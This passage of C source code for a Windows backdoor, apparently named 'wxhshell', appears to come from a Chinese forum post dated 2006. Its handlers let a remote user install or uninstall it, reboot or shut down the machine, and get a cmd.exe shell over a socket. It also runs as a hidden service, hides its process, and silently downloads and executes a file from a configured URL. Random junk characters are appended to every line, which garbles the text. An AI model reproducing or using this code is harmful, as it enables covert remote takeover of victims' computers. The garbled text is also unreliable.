  } 5H{dLZ],  
  else { <H]1 6  
VV%Q "0 \  
    switch(cmd[0]) { #"PRsMUw  
  e/J|wM9Ak  
  // 帮助 ;ND)h pD+  
  case '?': { 9)~Ha iVB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Cju%CE3a  
    break; =Z~nzyaN  
  } *z3wm-z1&  
  // 安装 ;zpSyyp@  
  case 'i': { .I1k+   
    if(Install()) OZCbMeB{+J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^{l^Z +b.  
    else y]YUuJ9a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #ouE, <  
    break; s0/[mAY  
    } }$wWX}@  
  // 卸载 +jv&V%IL  
  case 'r': { 9|K3xH  
    if(Uninstall()) Z{p)rscX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6~O9|s^38w  
    else m .':5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &}."sGK  
    break; id=:J7!QU  
    } o 00(\ -eb  
  // 显示 wxhshell 所在路径 (imaL,M-D  
  case 'p': { A])+Pe  
    char svExeFile[MAX_PATH]; s<hl>vY_'  
    strcpy(svExeFile,"\n\r"); )_-EeH  
      strcat(svExeFile,ExeFile); yr"BeTrS.  
        send(wsh,svExeFile,strlen(svExeFile),0); ?V9Da;cj  
    break; +T,Yf/^Fn  
    } 56JvF*hP  
  // 重启 a%igc^GS2  
  case 'b': { 9`8D Ga  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wiE'6CM  
    if(Boot(REBOOT)) tUXly|k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BnwYyh  
    else { lBN1OL[N  
    closesocket(wsh); B*c@w~E  
    ExitThread(0); [.[|rnil  
    } :IB@@5r1  
    break; qwd7vYBc,  
    } u}~jNV  
  // 关机 ,fR/C  
  case 'd': { $?FA7=_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Dmq_jt  
    if(Boot(SHUTDOWN)) :rcohzfa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )h>H}wDs  
    else { <GRplkf`  
    closesocket(wsh); *ke9/hO1i  
    ExitThread(0); 1v2pPUH\  
    } X) O9PQ  
    break; 3~5 %6`  
    } q8-*3K  
  // 获取shell NBaXfWh  
  case 's': { x } X1 O)  
    CmdShell(wsh); 3l?-H|T  
    closesocket(wsh); 2"IsNbWV  
    ExitThread(0); %'vLkjI.  
    break; 0[QVU,]<  
  } "eOFp\vPr  
  // 退出 S)L(~ N1  
  case 'x': { IJzPWs5W:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XxeyGs^%9  
    CloseIt(wsh); 9&VfbrBM  
    break; '|~L9t  
    }  ~d\>f  
  // 离开 ~P@6f K/M  
  case 'q': { 2J0N]`|)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "H"4]m1Wc  
    closesocket(wsh); z($h7TZ$  
    WSACleanup(); PEIf)**0N  
    exit(1); ckCb)r_  
    break; sY*iRq  
        } .Km6 (U  
  } Z.x9SEe1t  
  } E6njm du  
;c;5O@R}3  
  // 提示信息 =xX)2h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &t0toEj  
} p l.D h  
  } _h2s(u >\  
]EhU8bZ  
  return; ~ R:=zGDV  
} (sHvoE^q-  
V< ]l=JOd  
// shell模块句柄 EoOB0zo}Y+  
int CmdShell(SOCKET sock)  | D?lF  
{ beN(7jo  
STARTUPINFO si; 2:>|zmh_  
ZeroMemory(&si,sizeof(si)); hrt ]Qn&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .JG>/+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z\@m_ /g  
PROCESS_INFORMATION ProcessInfo; pMfP3G7V  
char cmdline[]="cmd"; B > sTM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G"~%[k  
  return 0; Gx.iZOOH/  
} 9*"Ae0ok1  
pO~lVM  
// 自身启动模式 @&7|Laa  
int StartFromService(void) ^71!.b%  
{ .@(+.G  
typedef struct R>05MhA+  
{ 5V{ B,T  
  DWORD ExitStatus; GG KD8'j]  
  DWORD PebBaseAddress; { 4(E @  
  DWORD AffinityMask; >>'t7 U##  
  DWORD BasePriority; \vU1*:3  
  ULONG UniqueProcessId; kN99(  
  ULONG InheritedFromUniqueProcessId; ATdK)gG  
}   PROCESS_BASIC_INFORMATION; 0d%p<c  
t mCm54  
PROCNTQSIP NtQueryInformationProcess; e!:/enQo  
"gR W91 T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vXio /m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D m|_;iO,  
U!0 Qf7D  
  HANDLE             hProcess; ) ag8]   
  PROCESS_BASIC_INFORMATION pbi; C9`J6Uu  
e>:bV7h j~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D~< 3  
  if(NULL == hInst ) return 0; NvZ )zE  
x@@U&.1_A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |#r [{2sS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -RSPYQjz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m _0D^e7#  
jf_0IE  
  if (!NtQueryInformationProcess) return 0; N<xf=a+j  
UP@a ?w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :[#~,TW  
  if(!hProcess) return 0; x}w"2[fL  
?Q~6\xA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Bhy:" r%#  
NbD"O8dL~E  
  CloseHandle(hProcess); 7*7Z&1*3  
S<hj6A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s[V$f vW  
if(hProcess==NULL) return 0; nbnbG0r:  
V7zF5=w  
HMODULE hMod; Bh9O<|E  
char procName[255]; {|}tp<:2  
unsigned long cbNeeded; 'wo[iNy[  
FN#6pM']|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $GzTDq Y9@  
 Yfk){1  
  CloseHandle(hProcess); YH VJg?H3  
iK*2 Z$`lw  
if(strstr(procName,"services")) return 1; // 以服务启动 9I a4PPEH1  
^lqcF.  
  return 0; // 注册表启动 kAbkhZ1^  
} +\`D1d@  
p0KkPE">p4  
// 主模块 'L*nC T;  
int StartWxhshell(LPSTR lpCmdLine) &S}i)Nu6J  
{ "t<$ {  
  SOCKET wsl; f6 zT  
BOOL val=TRUE; }lzyl*.  
  int port=0; f`5e0;zm  
  struct sockaddr_in door;  +X i#y}%  
*E<%db C2  
  if(wscfg.ws_autoins) Install(); })V9d  
Gy9+-7"V  
port=atoi(lpCmdLine); 5!ll #/ {`  
yZ[H&>  
if(port<=0) port=wscfg.ws_port; KzeTf?G  
DWB.dP *8  
  WSADATA data; v535LwFW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Do7&OBI~  
&zsaVm8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :t\pi. uWt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N[ %^0T$  
  door.sin_family = AF_INET; r5qp[Ss3F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G9s: Wp  
  door.sin_port = htons(port); .+<Ul ]e/  
k+>-?S,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =,0E]M Z  
closesocket(wsl); @ 8yV15!  
return 1; g{@q  
} _B` '1tNx  
j]EeL=H<P  
  if(listen(wsl,2) == INVALID_SOCKET) { G#ov2  
closesocket(wsl); |3f?1:"Z  
return 1; .jRp.U  
} 6P=6E   
  Wxhshell(wsl); O/^7TBTn<r  
  WSACleanup(); Z 6^AO=3  
fYF\5/_  
return 0; dxkq*  
$LLkYOwI  
} ~6`HJ  
&MnS( 82L  
// 以NT服务方式启动 K &m`1f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K!6k<  
{ <Q'J=;vV  
DWORD   status = 0; K_ P08  
  DWORD   specificError = 0xfffffff; q"OvuHBSOn  
^ZX71-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^>02,X mk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =$6z1] ;3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dieGLA<5_X  
  serviceStatus.dwWin32ExitCode     = 0; 8KRm>-H)  
  serviceStatus.dwServiceSpecificExitCode = 0; s/+@o:  
  serviceStatus.dwCheckPoint       = 0; !6hUTjhW7z  
  serviceStatus.dwWaitHint       = 0; mGZ^K,)&OR  
bD[W`yW0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6p%;:mDB  
  if (hServiceStatusHandle==0) return; iE$qq ~%  
[k-Q89  
status = GetLastError(); E}K6Op;=v5  
  if (status!=NO_ERROR) t<5 $85Y~  
{ ?zW4|0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n}cjVH5  
    serviceStatus.dwCheckPoint       = 0; .6Tan2[%  
    serviceStatus.dwWaitHint       = 0; CAdqoCz|  
    serviceStatus.dwWin32ExitCode     = status; Zq7Y('=`t@  
    serviceStatus.dwServiceSpecificExitCode = specificError; f0+)%gO{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sJ[I<  
    return; $d 2mcwh\  
  } e E:J  
{\3ZmF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mOG;[CB  
  serviceStatus.dwCheckPoint       = 0; C&Rv$<qc  
  serviceStatus.dwWaitHint       = 0; f& P'Kxj_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9<BC6M_/  
} NuZiLtC  
ha+)ZF  
// 处理NT服务事件,比如:启动、停止 LUSBRr8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |P!7T.  
{ ayR=GqZ1  
switch(fdwControl) M?mPi 3  
{ *Ii_dpJ  
case SERVICE_CONTROL_STOP: pRyePxCDj)  
  serviceStatus.dwWin32ExitCode = 0; /U\k<\1~m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h= tzG KI  
  serviceStatus.dwCheckPoint   = 0; ~n9x ,  
  serviceStatus.dwWaitHint     = 0; j4pxu/2  
  { 4e OS+&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BN??3F8C  
  } 8$)xxV_zp  
  return; X0a)6HZ{  
case SERVICE_CONTROL_PAUSE: ndW]S7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yR?S]   
  break; m5i?<Ko@  
case SERVICE_CONTROL_CONTINUE: eO7 )LM4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `^_c&y K  
  break; t5t!-w\M$+  
case SERVICE_CONTROL_INTERROGATE: vH14%&OcN  
  break; LC8&},iu  
}; #R^^XG`1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tfsx&k\  
} ,%Go.3i[  
=(]yl_  
// 标准应用程序主函数 N{kp^Byim0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B Oc2<M/\  
{ 7 LotN6H  
qXF#qS-28  
// 获取操作系统版本 `IC2}IiF  
OsIsNt=GetOsVer(); 2g0_[$[m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); * I)F5M  
QVT|6znw  
  // 从命令行安装 Pi/V3D) B  
  if(strpbrk(lpCmdLine,"iI")) Install(); I= '6>+P  
v?6g. [;?  
  // 下载执行文件 >^!)G^B  
if(wscfg.ws_downexe) { BQo$c~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .:wo ARW!  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7cMHzh k^  
} UiE 1TD{  
Ea<kc[Q  
if(!OsIsNt) { &m5FYm\  
// 如果时win9x,隐藏进程并且设置为注册表启动 .X.,.vHx  
HideProc(); j 3t,Cx  
StartWxhshell(lpCmdLine); U*Sjb% Qb  
} OyG#  
else 9YQYg@+R  
  if(StartFromService()) G4<M@ET  
  // 以服务方式启动 BbC aIt  
  StartServiceCtrlDispatcher(DispatchTable); qmy3pnL  
else G2 {R5F !  
  // 普通方式启动 bc3 T8(  
  StartWxhshell(lpCmdLine); v$d^>+Y#  
]8o[&50y  
return 0; 4 Q<c I2|  
}
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只看该作者 1 发表于: 2006-10-10
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